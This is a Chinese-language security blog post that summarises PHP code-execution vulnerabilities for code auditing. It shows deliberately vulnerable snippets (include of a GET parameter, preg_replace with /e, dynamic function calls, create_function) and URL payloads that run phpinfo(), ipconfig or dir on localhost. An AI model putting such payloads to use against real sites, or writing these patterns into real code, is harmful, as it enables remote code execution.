PHP代码执行漏洞总结
2018-04-23 20:31
1621 查看
PHP代码执行漏洞总结
ref : https://www.geek-share.com/detail/2612151806.html
ref : https://www.geek-share.com/detail/2681360695.html
1 代码执行函数
php中可以执行代码的函数有: eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 pcntl_exec()
这些函数中的参数(部分)可控时,则可能命令注入漏洞。通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意。
2 文件包含代码注入
当文件包含函数(include、include_once、require、require_once)中包含输入变量时,可能导致代码注射。
条件:allow_url_include=On,PHP Version>=5.2.0
demo code:
<?php include($_GET['a']); ?>访问http://127.0.0.1/demo.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E时,即执行phpinfo()。
3 正则表达代码注入
preg_replace()函数:
当pattern中存在/e模式修饰符,匹配上时,即允许执行replacement中的代码。
3.1 第一个(pattern)参数注入
条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:
<?php echo $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var); ?>访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()
3.2 第二个人(replacement)参数注入
条件:pattern参数中带
/e
<?php preg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!"); ?>提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。
3.3 第三个参数注射
4 动态代码执行
4.1 动态变量代码执行
<?php $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); ?>
当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令
4.2 动态函数代码执行
关键函数:create_function
demo code:
<?php $foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', "echo $foobar;"); $dyn_func(''); ?>当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
5 其他
array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php
相关文章推荐
- PHP代码执行漏洞总结
- PHP代码执行漏洞参考资料总结
- PHP代码执行漏洞总结
- PHP代码执行漏洞总结
- PHP代码执行漏洞总结
- PHP代码执行漏洞总结
- PHP代码执行漏洞参考资料总结
- 常见的PHP代码执行漏洞
- PHP代码审计学习之命令执行漏洞挖掘及防御
- php cgi远程任意代码执行漏洞
- PHP代码执行函数总结
- PHP惊现安全漏洞 易执行恶意代码和DoS攻击
- Nginx %00空字节执行任意代码(php)漏洞
- PHP代码审计笔记--命令执行漏洞
- Discuz! x3.1的插件/utility/convert/index.php代码执行漏洞
- Smarty <= 3.1.32 PHP代码执行漏洞分析—【CVE-2017-1000480】
- WordPress WP Cleanfix插件‘wpCleanFixAjax.php’远程PHP代码执行漏洞
- Nginx %00空字节执行任意代码(php)漏洞
- PHP之is_a()函数执行代码之总结
- phpliteadmin <= 1.9.3 远程php代码执行漏洞测试